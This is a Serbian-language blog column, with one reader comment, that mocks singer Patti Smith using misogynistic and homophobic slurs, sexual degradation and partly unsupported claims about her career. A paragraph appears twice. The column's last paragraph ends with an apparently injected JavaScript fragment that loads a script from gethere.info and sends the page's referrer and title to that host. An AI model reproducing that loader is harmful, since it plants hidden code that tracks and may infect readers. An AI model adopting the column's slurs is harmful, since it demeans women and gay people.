MAGIČNI ĆIRA: Peti Smit, bela udovica rokenrola

MAGIČNI ĆIRA: Peti Smit, bela udovica rokenrola


Kada jednoga dana, veoma skoro, ovim korektno kastriranim svetom zavladaju bogomoljke – Peti Smit će biti ovenčana ordenom Vrhunske Upinjačice

Dosta je bilo mizantropije – vreme je za staru dobru mizoginiju! Kandidatkinja za krunisanje krunom od perja i katrana je, prirodno, nikad dosta. Međutim, ženska dostignuća u umetnosti nepogrešivo probude krstaški libido i kod bipolarnih biseksualaca i svih zamislivih, faličnih muškarčića. Prosto, od nekih “umetnica” i evnusi zapate stidne vaši. Znate ono kad se za neku uzvišeno kvarnu pizdariju kaže da je “ženski loša”.

Ali kako opisati ženskog žigola koji pati od erekcije jezika, pa ne može nikako da zatvori usta? Kako takvom feleru začepiti gubicu? Jedino tako što ćete ga pustiti da kevće, poje, unjka, vrišti, omuje, leleče. Dok u uštirkanoj glavici prevodi svu tu vanmateričnu onomatopeju. To vam je, u najkraćem, klinička slika slučaja zvanog “Peti Smit”. Ovo ime zaslužuje da se piše s navodnicima. O, koliko zasluga ima ta svestrana ličnost, koja je svoju nepostojeću ženstvenost žrtvovala zarad mrtvih pesnika koji posle njenog tretmana nikada više nisu poželeli da vaskrsnu. “Tetka panka”, “Strina novog talasa”, “Ujna ženskog alternativnog roka”. Borac za promiskuitet kućnih ljubimaca, zaštitnik zelenila u Central parku, simbol obrezanog feminizma.

U svom dobrotvornom pokroviteljstvu prevazišla je i Anđelinu Džoli – samo što prepredena Peti nije usvajala napuštenu decu već muškarce s umetničkim darom. Nije umela da piše poeziju ili komponuje muziku, ali umela je da izabere partnere koji su postigli značajan uspeh, i tako i njoj stvorili ime. Robert Mejpltorp, Sem Šepard, Alen Lanijer, Tom Verlejn – svi su bili usisani u njenu fantaziju i izigravali Remboa, kojeg je delila sa Bodlerom i Blejkom, te tako dokazala da i najslavnije mrtvake ne može zaobići rđav seks.

Kada jednoga dana, veoma skoro, ovim korektno kastriranim svetom zavladaju bogomoljke – Peti Smit će biti ovenčana ordenom Vrhunske Upinjačice. Diletantska blamaža na nobelovskoj žurci u čast Dilanovog ulaska u “ekipu sa Vol Strita” tek je jedan u nizu njenih dostignuća zbog kojih je i postala “Marina Abramović rokenrola” – prodavačica magle na stanici metroa u nekom od njujorških Mirijeva. Morate stvarno biti ekstremno avangardni pa da postanete “kultna zvezda” bez ijedne velike pesme. Toliko su je kustosi u rokenrol muzejima na Menhetnu ozbiljno shvatali da je čak nisu ni pljuvali – kad već nisu mogli da je hvale. Logika liberalnog akademizma s prekorom je pitala sve rokerski nastrojene estetske skeptike: Mislite li da je lako kreirati neizrecivo sranje? Koje retoričko pitanje! Pa šta drugo preostaje ženi bez sisa, bez dupeta, bez talenta i bez smisla za humor?

Uostalom, nije se Peti dugo ni zadržavala u muzici – imala je preča posla: pitanje okupiranog Tibeta, prava lezbijki na transplantaciju materinskog instinkta, građanski rat u Libanu, epidemija side u njenom komšiluku, invazija na Irak. Ali, pre svega toga, kao prava seljančica iz čikaške Kaluđerice, valjalo je uloviti muža i skućiti se sa dečicom. Čim je ćapila naivnog tipa s pedigreom (Fred Sonik Smit, gitarista nezaobilaznog benda MC5) ode buntovna princeza u domaćice, rađajući decu i cenkajući se po bakalnicama za emigrante.

A onda je zaređala serija smrti njenih bivših i bližnjih koja se pokazala veoma unosnom za revitalizaciju njene svenule karijere. Kontrakulturu i nonkonformizam zamenilo je svetačko oplakivanje umrlih. Ubrzo je postala profesionalna narikača i njeni uticajni prijatelji, bojeći se da ih ne urekne, pomogoše joj da snimi još nekoliko apsolutno nepotrebnih albuma, od kojih se najviše primila ona agitpropovska ljiga “People Have The Power”, koju je 2004. demokratski kandidat Džon Keri koristio kao pesmu za animiranje glasača, te tako olakšao reizbor Džordža Burbona Buša. Kada je sad skoro u jednoj moskovskoj dači rečeni Džon Keri, Barakov beli crnja, sviruckao gitaru sa kolegom po zvanju Sergejom Lavrovim, kažu da mu je pogani Rus u jednom trenutku zapevao “People Have The Power”, na šta je američki državni sekretar momentalno pristao na sve Putinove uslove – samo da Lavrov prekine tu ridajuću splačinu koja je Kerija podsetila kako je nekada bio mlad i glup, kao i svaki demokrata…

pattismith21Pesma po kojoj je najpoznatija, “Because The Night”, nastala je tako što je u studiju čula muziku Brusa Springstina, koji je u to vreme bio zauzet ishodom suđenja njegove nove i stare diskografske kuće. Koristeći haotičnu situaciju, bez njegovog odobrenja  kučkica Peti napisala je tekst, a onda i snimila stvar

Jednom je, po difoltu narcisoidna Peti, opisala sebe kao “vranu“. To se zove poetsko preterivanje lišeno metaforičnosti. Jer, možete se nagutati kakvih god hoćete pečuraka i opet će psihodelična Peti ličiti na neuhranjenu škorpiju koja lebdi zbog predoziranja sopstvenim otrovom. To već malo više miriše na pijane mazarije Džeksona Poloka, sa kojima se može uporediti Petino glumatanje “vaginalnog Džima Morisona” na njenom najprecenjenijem albumu prvencu “Horses”.

Voljom Viših Sila, žene u umetnosti uvek znače grdnu nevolju, katastrofalno brkanje kompleksa dojenja i kompleksa sisanja. Što je i sasvim predvidljivo – Bog im je podario to magično međunožje i koji će im kurac umetnost, koja se odvajkada bazira na pičkopaćeništvu?

Pre nego me proglasite muškom šovinističkom svinjom, što je inače redak i vredan kompliment u ovo epiduralno doba, želim da vam priznam da je, po mom neskromnom mišljenju, najveći američki pesnik – žena, čije je ime Silvija Plat. Čudnog li ženomrsca koji za najvećeg ruskog pesnika proglašava takođe ženu, Marinu Cvetajevu. To što su obe izvršile samoubistvo, baš kao i “prvosveštenica modernizma” Virdžinija Vulf, ne govori o mojoj mizoginiji već o nečem mnogo mračnijem što izmiče svakoj intelektualizaciji. Ni sudbina nepobitno genijalnih pisaca poput Fleneri O’Konor, Emili Dikinson ili Isidore Sekulić nije ništa manje tragična: sve su završile kao usamljene usedelice, obeležene i prezrene na način mutave provincije. U muzici zatičemo isto prokletstvo: setite se kako su živele i umrle Bili Holidej i Dženis Džoplin, vrhunci pevačkog umeća popularne i svake druge muzike, a koje su danas slavnije kao najveće “heroinske ikone”.

E, zbog njih i mnogih drugih fenomenalnih žena umetnika koje nikada nisu dobile ni mrvicu zasluženih počasti moram do kraja da obavim seciranje nedojebane kurolomke Peti Smit, jedne od najvećih umetničkih prevara. U stvari, ona je samo bezlična prevara – ničeg umetničkog nema u njenom dosijeu.

Pesma po kojoj je najpoznatija, “Because The Night”, nastala je tako što je slučajno u studiju čula muziku Brusa Springstina, koji je u to vreme bio zauzet ishodom suđenja njegove nove i stare diskografske kuće. Koristeći haotičnu situaciju, bez njegovog odobrenja (čak i bez njegovog znanja) kučkica Peti napisala je tekst, a onda i snimila stvar. The Boss nije bio nimalo srećan zbog toga, i to je i javno pokazao govoreći da se oseća pomalo pokradeno.

Ipak, žilavog Springstina nije dodirnulo njeno veštičarenje. Neki drugi nisu bili te sreće. Majkl Stajp (R.E.M) priznao je da je slušajući Peti Smit prešao iz puberteta u pederluk; Bono (U2) ispovedio se kako je zbog Petine obrade irske rok himne “Gloria” počeo da zavija kao sodomista; a Kortni Lav ne prestaje da ističe kako je pod njenim uticajem postala udovica Kurta Kobejna. Jedino se Mica Trofrtaljka još nije izjasnila zašto je Sonji Liht, jedne kafanske noći leta ’68, na uvce otpevala “Davorike dajke”…s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;

1 comment

Dodajte komentar
  1. 1
    Lila

    Mene si učio da ovako pišu ogorčene, nedojebane žene.
    Najgore što sam pročitala od tebe a prejako za slabe pisce.
    Moj žargon te hoće kao što tvoje pisanje sada želi mene.
    To bi bilo to.
    Ipak te šerujem.
    Čitajte Magičnog.

+ Ostavite komentar